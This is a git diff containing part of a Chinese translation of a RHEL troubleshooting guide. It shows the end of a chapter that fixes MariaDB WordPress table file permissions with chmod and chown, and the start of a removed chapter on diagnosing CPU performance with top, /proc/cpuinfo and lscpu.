-除了内存中数据库之外,大多数数据库都有某种类型的文件用于在文件系统中存储数据; 这通常被称为持久存储。 MariaDB 和 MySQL 也不例外。 - -根据所使用的数据库存储引擎,可能有一个大文件或多个文件具有不同的文件扩展名。 不管文件类型或文件存储在哪里/如何,在一天结束时,如果这些文件不可访问,数据库将有问题。 - -## 查找 MariaDB 数据文件夹 - -由于我们是这个环境的新手,所以目前不知道 MariaDB 数据文件存储在哪里。 确定这些文件的位置将是纠正问题的第一步。 确定数据文件夹的一种方法是查看数据库服务的配置文件。 - -由于`/etc`文件夹是大多数(但不是所有)配置文件的目录,所以这是我们应该首先查看的地方。 - -```sh -# ls -la /etc/ | grep -i maria - -``` - -确定适当的配置文件,我们可以使用`ls`命令列表`/etc`文件夹和`grep`命令搜索结果的任何字符串“`maria`。”上述`grep`命令使用`–i`(不敏感)国旗,导致`grep`搜索大写和小写的字符串。 如果文件夹或文件有混合大小写名称,这将很有帮助。 - -由于我们的命令没有打印输出,因此在其名称中没有包含字符串“`maria`”的文件夹或文件。 这意味着 MariaDB 服务的配置要么被命名为我们不期望的东西,要么不在`/etc/`文件夹中。 - -由于 MariaDB 应该是 MySQL 的临时替代品,我们还应该检查是否有一个命名为`mysql`的文件夹或文件。 - -```sh -# ls -la /etc/ | grep –i mysql - -``` - -似乎也没有与此名称匹配的文件夹或文件。 - -通过使用`ls`命令,我们可以很容易地花费几个小时来寻找 MariaDB 的配置文件。 幸运的是,有一种更快的方法可以找到配置文件。 - -由于 MariaDB 是通过 RPM 包安装的,所以我们可以使用`rpm`命令列出该包部署的所有文件和文件夹。 在前面检查 MariaDB 如何安装时,`rpm`命令显示多个 MariaDB 包。 我们感兴趣的是`mariadb-server`包。 这个包安装 MariaDB 服务和默认配置文件。 - -前面我们使用`rpm`的`–q`和`–l`标志来列出这个包部署的所有文件。 如果希望将查询限制为只查询配置文件,可以使用`–q`和`–c`标志。 - -```sh -$ rpm -qc mariadb-server /etc/logrotate.d/mariadb -/etc/my.cnf.d/server.cnf -/var/log/mariadb/mariadb.log - -``` - -从上面可以看到,`mariadb-server`包部署了三个配置文件。 `mariadb.log`和`logrotate.d`文件不太可能包含我们要查找的信息,因为它们与日志记录过程相关。 - -这就留下了`/etc/my.cnf.d/server.cnf`文件。 我们可以使用`cat`命令读取该文件。 - -```sh -# cat /etc/my.cnf.d/server.cnf -# -# These groups are read by the MariaDB server. -# Use it for options that only the server (but not clients) should see -# -# See the examples of server my.cnf files in /usr/share/mysql/ -# - -# this is read by the standalone daemon and embedded servers -[server] - -# this is only for the mysqld standalone daemon -[mysqld] - -# this is only for embedded server -[embedded] - -# This group is only read by MariaDB-5.5 servers. -# If you use the same .cnf file for MariaDB of different versions, -# use this group for options that older servers don't understand -[mysqld-5.5] - -# These two groups are only read by MariaDB servers, not by MySQL. -# If you use the same .cnf file for MySQL and MariaDB, -# you can put MariaDB-only options here -[mariadb] - -[mariadb-5.5] - -``` - -不幸的是,这个文件也不包含我们所希望的数据文件夹的详细信息。 然而,这个文件确实给了我们一个线索,让我们知道下一步该看哪里。 - -`server.conf`文件的父文件夹为`/etc/my.cnf.d`文件夹。 文件夹名称末尾的`.d`很重要,因为这种命名约定在 Linux 中有特殊的用途。 `.d`(点 D)文件夹类型的设计允许用户简单地添加一个或多个具有自定义配置的服务文件。 当服务启动时,将读取此文件夹中的所有文件并应用配置。 - -这允许用户无需编辑默认配置文件就可以配置服务; 他们只需在`.d`文件夹中创建一个新文件,就可以添加他们想要添加的配置。 - -需要注意的是,这是一种配置方案,并不是每个服务都支持这种方案。 然而,MariaDB 的服务似乎确实支持这一计划。 - -然而,有趣的是这个`.d`文件夹的名称。 通常,`.d`配置文件夹的命名约定是`.d`后面的服务名称或文件夹用途。 您可以在实践中通过`/etc/cron.d`或`/etc/http/conf.d`文件夹看到这一点。 MariaDB`.d`文件夹的名称表明主配置文件可能被命名为`my.cnf`。 - -如果我们检查这样一个文件是否存在,我们将看到它存在。 - -```sh -# ls -la /etc/ | grep my.cnf --rw-r--r--. 1 root root 570 Nov 17 12:28 my.cnf -drwxr-xr-x. 2 root root 64 Jan 9 18:20 my.cnf.d - -``` - -该文件似乎是主要的 MariaDB 配置文件,其中有望包含数据文件夹配置。 要找到答案,我们可以使用`cat`命令读取该文件。 - -```sh -# cat /etc/my.cnf -[mysqld] -datadir=/var/lib/mysql -socket=/var/lib/mysql/mysql.sock -# Disabling symbolic-links is recommended to prevent assorted security risks -symbolic-links=0 -# Settings user and group are ignored when systemd is used. -# If you need to run mysqld under a different user or group, -# customize your systemd unit file for mariadb according to the -# instructions in http://fedoraproject.org/wiki/Systemd - -[mysqld_safe] -log-error=/var/log/mariadb/mariadb.log -pid-file=/var/run/mariadb/mariadb.pid - -# -# include all files from the config folder -# -!includedir /etc/my.cnf.d - -``` - -正如预期的那样,这个文件实际上包含了数据文件夹配置。 - -```sh -datadir=/var/lib/mysql - -``` - -有了这个信息,我们现在可以排除 WordPress 数据库数据文件的当前状态。 - -## 解决数据文件问题 - -如果我们将更改为`/var/lib/mysql`文件夹,并使用`ls`命令列出文件夹内容,我们可以看到相当多的数据库数据文件/文件夹。 - -```sh -# cd /var/lib/mysql/ -# ls -la -total 28712 -drwxr-xr-x. 6 mysql mysql 4096 Jan 15 00:20 . -drwxr-xr-x. 29 root root 4096 Jan 15 05:40 .. --rw-rw----. 1 mysql mysql 16384 Jan 15 00:20 aria_log.00000001 --rw-rw----. 1 mysql mysql 52 Jan 15 00:20 aria_log_control --rw-rw----. 1 mysql mysql 18874368 Jan 15 00:20 ibdata1 --rw-rw----. 1 mysql mysql 5242880 Jan 15 00:20 ib_logfile0 --rw-rw----. 1 mysql mysql 5242880 Jan 9 21:39 ib_logfile1 -drwx------. 2 mysql mysql 4096 Jan 9 21:39 mysql -srwxrwxrwx. 1 mysql mysql 0 Jan 15 00:20 mysql.sock -drwx------. 2 mysql mysql 4096 Jan 9 21:39 performance_schema -drwx------. 2 mysql mysql 6 Jan 9 21:39 test -drwx------. 2 mysql mysql 4096 Jan 9 22:55 wordpress - -``` - -似乎在此服务器上创建的每个数据库都作为`/var/lib/mysql/`下的文件夹存在。 从`ls`输出中还可以看到文件夹处于正常状态。 由于问题出在 WordPress 数据库上,我们将通过切换到`wordpress`文件夹来关注这个数据库。 - -```sh -# cd wordpress/ -# ls -la -total 156 -drwx------. 2 mysql mysql 4096 Jan 9 22:55 . -drwxr-xr-x. 6 mysql mysql 4096 Jan 15 00:20 .. --rw-rw----. 1 mysql mysql 65 Jan 9 21:45 db.opt -----------. 1 root root 8688 Jan 9 22:55 wp_commentmeta.frm -----------. 1 root root 13380 Jan 9 22:55 wp_comments.frm -----------. 1 root root 13176 Jan 9 22:55 wp_links.frm -----------. 1 root root 8698 Jan 9 22:55 wp_options.frm -----------. 1 root root 8682 Jan 9 22:55 wp_postmeta.frm -----------. 1 root root 13684 Jan 9 22:55 wp_posts.frm -----------. 1 root root 8666 Jan 9 22:55 wp_term_relationships.frm -----------. 1 root root 8668 Jan 9 22:55 wp_terms.frm -----------. 1 root root 8768 Jan 9 22:55 wp_term_taxonomy.frm -----------. 1 root root 8684 Jan 9 22:55 wp_usermeta.frm -----------. 1 root root 8968 Jan 9 22:55 wp_users.frm - -``` - -在执行`ls`命令之后,我们可以看到这个文件夹中的文件有一些不寻常的地方。 - -最突出的一点就是所有的`.frm`文件都有一个`000`的文件模式。 这意味着所有者、组或其他 Linux 用户都不能读写这些文件。 这包括 MariaDB 作为用户运行。 - -如果我们回头看看从 MariaDB 接收到的错误,我们会发现这个错误似乎支持了无效权限实际上正在导致问题的假设。 要纠正这个错误,我们只需要将权限重置为正确的值。 - -由于我们是 MariaDB 的新手,所以目前还不知道这些值应该是多少。 - -幸运的是,有一种简单的方法可以确定权限应该是什么:只需查看另一个数据库的文件权限。 - -如果我们回头看看`/var/lib/mysql`的文件夹清单的输出,我们会发现有几个文件夹。 这些文件夹中至少有一个应该是数据库的数据文件夹。 要确定我们的`.frm`文件应该具有什么权限,我们只需要找到其他`.frm`文件。 - -```sh -# find /var/lib/mysql -name "*.frm" -ls -134481927 12 -rw-rw---- 1 mysql mysql 9582 Jan 9 21:39 /var/lib/mysql/mysql/db.frm -134481930 12 -rw-rw---- 1 mysql mysql 9510 Jan 9 21:39 /var/lib/mysql/mysql/host.frm -134481933 12 -rw-rw---- 1 mysql mysql 10630 Jan 9 21:39 /var/lib/mysql/mysql/user.frm -134481936 12 -rw-rw---- 1 mysql mysql 8665 Jan 9 21:39 /var/lib/mysql/mysql/func.frm -134481939 12 -rw-rw---- 1 mysql mysql 8586 Jan 9 21:39 /var/lib/mysql/mysql/plugin.frm -134481942 12 -rw-rw---- 1 mysql mysql 8838 Jan 9 21:39 /var/lib/mysql/mysql/servers.frm -134481945 12 -rw-rw---- 1 mysql mysql 8955 Jan 9 21:39 /var/lib/mysql/mysql/tables_priv.frm -134481948 12 -rw-rw---- 1 mysql mysql 8820 Jan 9 21:39 /var/lib/mysql/mysql/columns_priv.frm -134481951 12 -rw-rw---- 1 mysql mysql 8770 Jan 9 21:39 /var/lib/mysql/mysql/help_topic.frm -134309941 12 -rw-rw---- 1 mysql mysql 8700 Jan 9 21:39 /var/lib/mysql/mysql/help_category.frm - -``` - -对于故障排除,`find`命令是一个非常有用的命令,可以在许多不同的情况下使用命令。 在我们的示例中,我们使用`find`命令搜索`/var/lib/mysql`文件夹中文件名以“`.frm`”结尾的文件(通过`–name`标志)。 `–ls`(文件夹列表)标志告诉`find`命令以长列表格式打印它找到的任何文件,这将显示每个文件的权限,而不需要运行第二个命令。 - -从`find`命令的输出,我们可以看到`.frm`文件的权限被设置为`-rw-rw----`; 其数值表示为`660`。 这些权限似乎适合于我们的数据库表,并允许所有者和组读和写这些文件。 - -要重置我们的 WordPress 数据文件的权限,我们将使用`chmod`命令。 - -```sh -# chmod -v 660 /var/lib/mysql/wordpress/*.frm -mode of '/var/lib/mysql/wordpress/wp_commentmeta.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_comments.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_links.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_options.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_postmeta.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_posts.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_term_relationships.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_terms.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_term_taxonomy.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_usermeta.frm' changed from 0000 (---------) to 0660 (rw-rw----) -mode of '/var/lib/mysql/wordpress/wp_users.frm' changed from 0000 (---------) to 0660 (rw-rw----) - -``` - -在前面的命令中,`–v`(详细)标志与`chmod`一起使用,这样我们就可以在执行命令时看到每个文件权限的更改。 - -### 验证 - -现在已经设置了权限,我们可以再次使用 SQL`select`查询进行验证。 - -```sh -MariaDB [wordpress]> select count(*) from wp_users; -ERROR 1017 (HY000): Can't find file: './wordpress/wp_users.frm' (errno: 13) - -``` - -从上面的查询中,我们可以看到 MariaDB 访问这些文件时仍然出现了错误。 这意味着我们必须没有纠正数据文件的所有问题。 - -```sh -# ls -la -total 156 -drwx------. 2 mysql mysql 4096 Jan 9 22:55 . -drwxr-xr-x. 6 mysql mysql 4096 Jan 15 00:20 .. --rw-rw----. 1 mysql mysql 65 Jan 9 21:45 db.opt --rw-rw----. 1 root root 8688 Jan 9 22:55 wp_commentmeta.frm --rw-rw----. 1 root root 13380 Jan 9 22:55 wp_comments.frm --rw-rw----. 1 root root 13176 Jan 9 22:55 wp_links.frm --rw-rw----. 1 root root 8698 Jan 9 22:55 wp_options.frm --rw-rw----. 1 root root 8682 Jan 9 22:55 wp_postmeta.frm --rw-rw----. 1 root root 13684 Jan 9 22:55 wp_posts.frm --rw-rw----. 1 root root 8666 Jan 9 22:55 wp_term_relationships.frm --rw-rw----. 1 root root 8668 Jan 9 22:55 wp_terms.frm --rw-rw----. 1 root root 8768 Jan 9 22:55 wp_term_taxonomy.frm --rw-rw----. 1 root root 8684 Jan 9 22:55 wp_usermeta.frm --rw-rw----. 1 root root 8968 Jan 9 22:55 wp_users.frm - -``` - -通过查看`ls`命令的输出,我们可以看到与示例`.frm`文件的另一个不同之处。 - -```sh -134481927 12 -rw-rw---- 1 mysql mysql 9582 Jan 9 21:39 /var/lib/mysql/mysql/db.frm - -``` - -`wordpress`文件夹中文件的属主和组权限设置为`root`,而其他`.frm`文件的属主和组权限设置为`mysql`用户。 - -`660`的权限意味着只有文件的所有者和组成员可以访问它。 对于我们的 WordPress 文件,这意味着只有根用户和根组的任何成员可以访问这些文件。 - -由于 MariaDB 作为`mysql`用户运行,MariaDB 服务仍然不能访问这些文件。 我们可以使用`chown`命令重置所有权和组成员关系。 - -```sh -# chown -v mysql.mysql ./*.frm -changed ownership of './wp_commentmeta.frm' from root:root to mysql:mysql -changed ownership of './wp_comments.frm' from root:root to mysql:mysql -changed ownership of './wp_links.frm' from root:root to mysql:mysql -changed ownership of './wp_options.frm' from root:root to mysql:mysql -changed ownership of './wp_postmeta.frm' from root:root to mysql:mysql -changed ownership of './wp_posts.frm' from root:root to mysql:mysql -changed ownership of './wp_term_relationships.frm' from root:root to mysql:mysql -changed ownership of './wp_terms.frm' from root:root to mysql:mysql -changed ownership of './wp_term_taxonomy.frm' from root:root to mysql:mysql -changed ownership of './wp_usermeta.frm' from root:root to mysql:mysql -changed ownership of './wp_users.frm' from root:root to mysql:mysql - -``` - -既然文件的所有权和组成员都是`mysql`,我们可以重新运行查询以查看问题是否解决。 - -```sh -MariaDB [wordpress]> select count(*) from wp_users; -count(*) -1 - -``` - -最后,我们通过查询 WordPress 数据库表解决了这个错误。 - -## 最终验证 - -由于我们已经解决了数据库错误,并且在排除故障时没有发现任何其他错误,所以下一个验证步骤是查看博客是否仍然显示安装屏幕。 - -![Final validation](img/00003.jpeg) - -通过从浏览器导航到`http://blog.example.com`,我们现在看到的不再是安装页面,而是博客的首页。 到目前为止,这个问题似乎已经解决了。 - -一般来说,当处理一个人报告的问题时,最好的做法是让最初报告问题的人来验证一切都已恢复到预期的状态。 我看到过很多情况下,一个事件是由一个以上的问题引起的,虽然更明显的问题很快就解决了,但其他问题经常被忽视。 让用户验证我们已经解决了整个问题将有助于确保所有问题都得到了真正的解决。 - -对于这个场景,当我们询问报告问题的业务用户以检查问题是否已经解决时,他/她回答*一切看起来都已修复。 谢谢你!* - -# 总结 - -在本章中,我们通过使用一个在现实世界中很容易发生的问题来了解故障排除过程。 我们遍历故障排除过程的步骤 1、2 和 3,以收集数据、建立假设并解决问题; 这些步骤在[第 1 章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices")、*故障排除最佳实践*中有详细介绍。 然后,我们使用了在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*以及一些新的命令和日志文件。 - -虽然学习本章中使用的命令对于任何使用 web 应用的系统管理员来说都是很重要的,但更重要的是看看我们所遵循的过程。 我们开始解决这个问题时并不了解环境或应用,但通过一些基本的数据收集和尝试和错误,我们可以解决这个问题。 - -在下一章中,我们将使用相同的故障排除流程和类似的工具来故障排除性能问题。 \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/04.md b/docs/rhel-troubleshoot-guide/04.md deleted file mode 100644 index feaac78c..00000000 --- a/docs/rhel-troubleshoot-guide/04.md +++ /dev/null @@ -1,1539 +0,0 @@ -# 四、故障诊断性能问题 - -在第 3 章,*故障排除一个 Web 应用*我们走过故障排除一个 Web 应用的问题通过使用故障排除方法覆盖[第一章](01.html#DB7S1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 1. Troubleshooting Best Practices"),*故障诊断最佳实践。 我们还使用了在[第二章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中找到的几个基本故障诊断命令和资源。* - - *# 性能问题 - -对于本章,我们将继续在[第 3 章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application")、*故障诊断 Web 应用*中讨论的场景,在这个场景中,我们是一家新公司的新系统管理员。 当我们到达目的地开始一天的工作时,一位系统管理员同事要求我们检查服务器是否“慢”。 - -当被问及详细信息时,我们的同事只能提供主机名和被认为“慢”的服务器 IP。 我们的同行提到一个用户报告了它,并且用户没有提供很多细节。 - -在这个场景中,不像在[第 3 章](03.html#KVCC1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 3. Troubleshooting a Web Application"),*故障诊断 Web 应用*中讨论的场景,我们一开始没有太多的信息。 似乎我们也无法向用户询问故障排除问题。 要求系统管理员用很少的信息对问题进行故障排除的情况并不少见。 事实上,这种情况很常见。 - -## 它很慢 - -“它太慢了”是有问题的。 抱怨服务器或服务慢的最大问题是,“慢”是相对于用户体验的问题。 - -在处理任何关于性能的抱怨时,需要理解的一个重要区别是环境设计的基准。 在某些环境中,以 30%的 CPU 利用率运行的系统可能是正常的业务活动,而其他环境可能保持其系统以 10%的 CPU 利用率运行,30%的利用率峰值将表明存在问题。 - -在进行故障排除和调查性能问题时,重要的是回顾系统的历史性能指标,以确保您拥有围绕正在收集的度量的上下文。 这将有助于确定当前系统的利用率是预期的还是异常的。 - -# 性能 - -一般来说,性能问题可以分为五个方面: - -* 应用 -* CPU -* 内存 -* 磁盘 -* 网络 - -任何一个领域的瓶颈往往也会影响到其他领域; 因此,理解每一个主题都是一个好主意。 通过理解这些资源的访问和交互方式,您将能够找到消耗多个资源的问题的根源。 - -由于报告的问题不包括性能问题的任何细节,我们将探索并了解这些领域中的每一个。 完成之后,我们将查看收集的数据和历史统计数据,以确定性能是否符合预期,或者系统性能是否真的下降。 - -## 应用 - -在创建性能类别列表时,我将它们按我最常看到的区域排序。 每个环境都是不同的,但根据我的经验,应用常常是性能问题的主要来源。 - -虽然本章旨在讨论性能问题,但是[第 9 章](09.html#1Q5IA1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 9. Using System Tools to Troubleshoot Applications"),*使用系统工具解决应用问题*致力于使用系统工具解决应用问题,包括性能问题。 在本章中,我们将假设我们的问题与应用无关,并特别关注系统性能。 - -## CPU - -CPU 是一个非常常见的性能瓶颈。 有时,问题是严格基于 CPU 的,而在其他时候,CPU 使用率的增加是另一个问题的症状。 - -调查 CPU 利用率的最常见命令是 top 命令。 这个命令的主要作用是识别进程的 CPU 利用率。 在[第 2 章](02.html#I3QM2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 2. Troubleshooting Commands and Sources of Useful Information")、*故障诊断命令和有用信息来源*中,我们讨论了使用`ps`命令进行这类活动。 在这一节中,我们将通过使用 top 和 ps 来调查我们的 CPU 利用率,来调查我们对慢的抱怨。 - -### Top -单命令查看一切 - -top**命令是系统管理员和用户为了查看整体系统性能而运行的首批命令之一。 这样做的原因是,top 不仅显示了平均负载、CPU 和内存的细分,而且还显示了利用这些资源的排序的进程列表。** - - **`top`最好的部分是,当没有任何标志运行时,这些细节每 3 秒更新一次。 - -下面是在没有任何标志的情况下运行`top`时的输出示例。 - -```sh -top - 17:40:43 up 4:07, 2 users, load average: 0.32, 0.43, 0.44 -Tasks: 100 total, 2 running, 98 sleeping, 0 stopped, 0 zombie -%Cpu(s): 37.3 us, 0.7 sy, 0.0 ni, 62.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st -KiB Mem: 469408 total, 228112 used, 241296 free, 764 buffers -KiB Swap: 1081340 total, 0 used, 1081340 free. 95332 cached Mem - - PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND - 3023 vagrant 20 0 7396 720 504 S 37.6 0.2 91:08.04 lookbusy - 11 root 20 0 0 0 0 R 0.3 0.0 0:13.28 rcuos/0 - 682 root 20 0 322752 1072 772 S 0.3 0.2 0:05.60 VBoxService - 1 root 20 0 50784 7256 2500 S 0.0 1.5 0:01.39 systemd - 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd - 3 root 20 0 0 0 0 S 0.0 0.0 0:00.24 ksoftirqd/0 - 5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H - 6 root 20 0 0 0 0 S 0.0 0.0 0:00.04 kworker/u2:0 - 7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0 - 8 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh - 9 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcuob/0 - 10 root 20 0 0 0 0 S 0.0 0.0 0:05.44 rcu_sched - -``` - -有相当多的位信息显示,只有默认的`top`输出。 在本节中,我们将只关注 CPU 利用率信息。 - -```sh -%Cpu(s): 37.3 us, 0.7 sy, 0.0 ni, 62.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st - -``` - -在`top`命令输出的第一部分中,有一行显示了当前 CPU 利用率的细分情况。 这个列表中的每一项都代表了使用 CPU 的不同方式。 为了更好地理解输出,让我们看看这些值的含义: - -* **us - User**:这个数字是在用户模式下被进程消耗的 CPU 百分比。 在这种模式下,应用无法访问底层硬件,需要使用系统 api(也就是系统调用)来执行特权执行。 当执行这些系统调用时,执行将成为系统 CPU 利用率的一部分。 -* **sy - System**:这个数字是内核模式执行所消耗的 CPU 的百分比。 在这种模式下,系统可以直接访问底层硬件; 该模式通常为受信任的 OS 进程保留。 -* **ni - Nice 用户进程**:这个数字是拥有一个 Nice 值的用户进程所消耗的 CPU 时间的百分比。 `us%`值是专门针对那些没有从原始值修改其 nice 值的过程的。 -* **id - Idle**:这个数字是 CPU 空闲时间的百分比。 本质上,它是没有被利用的 CPU 时间的数量。 -* **wa - Wait**:这个数字是 CPU 等待时间的百分比。 当许多进程正在等待 I/O 设备时,这个值通常很高。 I/O 等待状态不仅仅是指硬盘,而是指包括硬盘在内的所有 I/O 设备。 -* **hi -硬件中断**:这个数字是被硬件中断消耗的 CPU 时间的百分比。 硬件中断是来自系统硬件(如硬盘驱动器或网络设备)的信号,这些信号被发送到 CPU。 这些中断表明存在需要 CPU 时间的事件。 -* **si -软件中断**:这个数字是被软件中断消耗的 CPU 时间的百分比。 软件中断类似于硬件中断; 然而,它们是由正在运行的进程向内核发送的信号触发的。 -* **st - Stolen**:这个数字特别适用于作为虚拟机运行的 Linux 系统。 这个数字是主机从这台机器窃取的 CPU 时间的百分比。 这个数字通常在主机本身出现 CPU 争用时出现。 在某些云环境中,作为一种强制资源限制的方法,这种情况也会发生。 - -前面我提到,默认情况下,`top`的输出每 3 秒刷新一次。 CPU 百分比行也每 3 秒刷新一次; `top`将显示自上次刷新间隔以来每个状态的 CPU 时间百分比。 - -#### 关于我们的问题,这个输出告诉了我们什么? - -如果我们回顾前面的`top`命令的输出,我们可以确定关于这个系统的很多信息。 - -```sh -%Cpu(s): 37.3 us, 0.7 sy, 0.0 ni, 62.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st - -``` - -从前面的输出,我们可以看到 CPU 时间的`37.3%`被用户模式下的进程所消耗。 另一个 CPU 时间`0.7%`被内核执行模式的进程占用; 这是基于`us`和`sy`值。 `id`值告诉我们剩余的 CPU 没有被利用,这意味着总的来说,该服务器上有足够的 CPU 可用。 - -`top`命令显示的另一个事实是,没有花费多少 CPU 时间来等待 I/O。 我们可以从`wa`值为`0.0`看出这一点。 这很重要,因为它告诉我们报告的性能问题不可能是由于高 I/O。 在本章的后面,当我们开始探索磁盘性能时,我们将深入探索 I/O 等待。 - -#### 从上到下的个别过程 - -`top`命令输出中的 CPU 行是对整个服务器的总结,但 top 还包括各个进程的 CPU 利用率。 为了获得更清晰的焦点,我们可以再次执行 top,但这一次,让我们关注正在运行的进程`top`。 - -```sh -$ top -n 1 -top - 15:46:52 up 3:21, 2 users, load average: 1.03, 1.11, 1.06 -Tasks: 108 total, 3 running, 105 sleeping, 0 stopped, 0 zombie -%Cpu(s): 34.1 us, 0.7 sy, 0.0 ni, 65.1 id, 0.0 wa, 0.0 hi, 0.1 si, 0.0 st -KiB Mem: 502060 total, 220284 used, 281776 free, 764 buffers -KiB Swap: 1081340 total, 0 used, 1081340 free. 92940 cached Mem - - PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND - 3001 vagrant 20 0 7396 720 504 R 98.4 0.1 121:08.67 lookbusy - 3002 vagrant 20 0 7396 720 504 S 6.6 0.1 19:05.12 lookbusy - 1 root 20 0 50780 7264 2508 S 0.0 1.4 0:01.69 systemd - 2 root 20 0 0 0 0 S 0.0 0.0 0:00.01 kthreadd - 3 root 20 0 0 0 0 S 0.0 0.0 0:00.97 ksoftirqd/0 - 5 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H - 6 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kworker/u4:0 - 7 root rt 0 0 0 0 S 0.0 0.0 0:00.67 migration/0 - -``` - -这一次,当执行`top`命令时,使用了`–n`(number)标志。 这个标志告诉`top`只刷新指定的次数,在本例中是 1 次。 当试图捕获`top`的输出时,这个技巧可能很有帮助。 - -如果我们检查上面的`top`命令的输出,我们可以看到一些非常有趣的东西。 - -```sh - PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND - 3001 vagrant 20 0 7396 720 504 R 98.4 0.1 121:08.67 lookbusy - -``` - -默认情况下,`top`命令按照进程所使用的 CPU 百分比对进程进行排序。 这意味着列表中的第一个进程是在该时间间隔内消耗最多 CPU 的进程。 - -如果我们查看在进程 id 为`3001`下运行的顶级进程,我们会发现它正在使用`98.4%`的 CPU 时间。 但是,根据 top 命令系统范围的 CPU 统计信息,CPU 时间的`65.1%`处于空闲状态。 对于许多系统管理员来说,这种场景实际上是一个常见的困惑来源。 - -```sh -%Cpu(s): 34.1 us, 0.7 sy, 0.0 ni, 65.1 id, 0.0 wa, 0.0 hi, 0.1 si, 0.0 st - -``` - -单个进程如何利用几乎 100%的 CPU 时间,而系统本身却显示 65%的 CPU 时间是空闲的? 答案其实很简单; 当`top`在其 header 中显示 CPU 利用率时,该比例以整个系统为基础。 然而,对于单个进程,CPU 利用率是针对一个 CPU 的。 这意味着我们的进程 3001 实际上占用了几乎一个完整的 CPU,而我们的系统很可能有多个 CPU。 - -经常可以看到能够利用多个 cpu 的进程显示的百分比高于 100%。 例如,一个充分利用三个 cpu 的进程将显示 300%。 对于不熟悉`top`命令、服务器总数和每个进程输出的用户来说,这也会造成相当多的混淆。 - -### 确定可用 cpu 数量 - -以前,我们确定这个系统必须有多个可用的 cpu。 我们没有确定的是有多少。 确定可用 cpu 数量的最简单方法是读取`/proc/cpuinfo`文件。 - -```sh -# cat /proc/cpuinfo -processor : 0 -vendor_id : GenuineIntel -cpu family : 6 -model : 58 -model name : Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz -stepping : 9 -microcode : 0x19 -cpu MHz : 2348.850 -cache size : 6144 KB -physical id : 0 -siblings : 2 -core id : 0 -cpu cores : 2 -apicid : 0 -initial apicid : 0 -fpu : yes -fpu_exception : yes -cpuid level : 5 -wp : yes -flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl pni ssse3 lahf_lm -bogomips : 4697.70 -clflush size : 64 -cache_alignment : 64 -address sizes : 36 bits physical, 48 bits virtual -power management: - -processor : 1 -vendor_id : GenuineIntel -cpu family : 6 -model : 58 -model name : Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz -stepping : 9 -microcode : 0x19 -cpu MHz : 2348.850 -cache size : 6144 KB -physical id : 0 -siblings : 2 -core id : 1 -cpu cores : 2 -apicid : 1 -initial apicid : 1 -fpu : yes -fpu_exception : yes -cpuid level : 5 -wp : yes -flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl pni ssse3 lahf_lm -bogomips : 4697.70 -clflush size : 64 -cache_alignment : 64 -address sizes : 36 bits physical, 48 bits virtual -power management: - -``` - -文件`/proc/cpuinfo`包含了大量关于系统可用 cpu 的有用信息。 它显示了 CPU 的类型、型号、可用的标志、CPU 的速度,以及最重要的是可用的 CPU 数量。 - -系统可用的每个 CPU 将在`cpuinfo`文件中列出。 这意味着您可以简单地计算`cpuinfo`文件中可用的处理器数量,从而确定服务器可用的 cpu 数量。 - -从上面的示例中,我们可以确定该服务器有 2 个可用 cpu。 - -#### 线程和内核 - -一个有趣的警告使用`cpuinfo`来确定可用的 cpu 数量时,当使用具有多个核和超线程的 cpu 时,细节会有点误导。 `cpuinfo`文件将 CPU 上的一个核心和一个线程报告为它可以利用的处理器。 这意味着,即使您的系统上可能安装了一个物理芯片,如果该芯片是一个四核超线程 CPU,那么`cpuinfo`文件将显示 8 个处理器。 - -#### lscu -查看 CPU 信息的另一种方式 - -而`/proc/cpuinfo`是许多管理员和用户用来确定 CPU 信息的方法; 在基于 rhel 的发行版上,还有另一个命令也将显示此信息。 - -```sh -$ lscpu -Architecture: x86_64 -CPU op-mode(s): 32-bit, 64-bit -Byte Order: Little Endian -CPU(s): 2 -On-line CPU(s) list: 